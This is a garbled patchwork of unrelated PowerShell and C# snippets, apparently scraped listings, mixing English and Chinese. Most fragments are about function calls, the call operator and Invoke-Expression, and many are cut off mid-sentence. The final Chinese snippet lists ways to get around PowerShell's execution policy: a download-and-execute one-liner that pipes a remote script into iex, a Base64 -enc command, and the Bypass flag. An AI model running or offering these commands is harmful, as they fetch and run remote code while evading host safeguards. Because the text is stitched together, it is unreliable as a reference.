For example, save the following two functions in a file named MyScriptModule.psm1. PowerShell Copy function Get-MrPSVersion { $PSVersionTable } function Get-MrComputerName { $env:COMPUTERNAME } Try to run one
(string) ); line = line.Trim(' ','\t'); } catch (PSInvalidCastException ex) { WriteError(new ErrorRecord( ex, "CannotCastObjectToString", ErrorCategory.InvalidOperation, input) ); return null; } MatchInfo result = null; // If a scriptblock has been specified, call it // with...
Using the call operator You can also use the Call operator & to run hidden commands by combining it with a call to Get-ChildItem (the alias is dir), Get-Command or Get-Module. The call operator executes strings and script blocks in a child scope. For more information, see about_Operator...
Call a Delphi DLL String with C# DllImport and MarshalAsAttribute - returned value is half size/incomplete. call a function from Form to another form using C# Call a Generic extension method with a dynamic Type Call a program via windows service Call a WEB API Synchronously Call event handler...
Call variable outside function Calling 'Get-Counter' remotely throws error 'Unable to connect to the specified computer or the computer is offline' Calling a function using Start-Job Calling a PowerShell code from Access 2010 Calling a program with powershell Calling a PS script from VBA with ...
Invoke-Command -ScriptBlock $SC Invoke-Command -ScriptBlock $SC2 -ArgumentList 1, 2 输出如下: Hello World x = 1, y = 2, x + y = 1 + 2 表达式也可以用字符串保存,然后用Invoke-Expression计算: "1 + 2" | Invoke-expression Invoke-Expression "1 + 2" 上述命令输出均为3。 九、对象方法...
Adding thecleanblock is a breaking change. Becausecleanis parsed as a keyword, it prevents users from directly calling a command namedcleanas the first statement in a script block. However, it's not likely to be a problem. The command can still be invoked using the call operator (& clean...
#Script to alter a session. cd XEvent $h = hostname cd $h cd DEFAULT\Sessions #Used to find the specified session. $session = dir|where {$_.Name -eq 'TestSession'} #Add the ring buffer target and call the Alter method. $session.AddTarget("package0.ring_buffer") $session.Alter()...
When we call the PromptForChoice method our menu appears onscreen and the script waits for the user to select an option and press ENTER. When that happens the user’s selection is stored in a variable named $result. (Actually, what gets stored is the index number of the option selected....
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)” 3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。 示例:powershell.exe -enc [ENCODED COMMAND] 4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。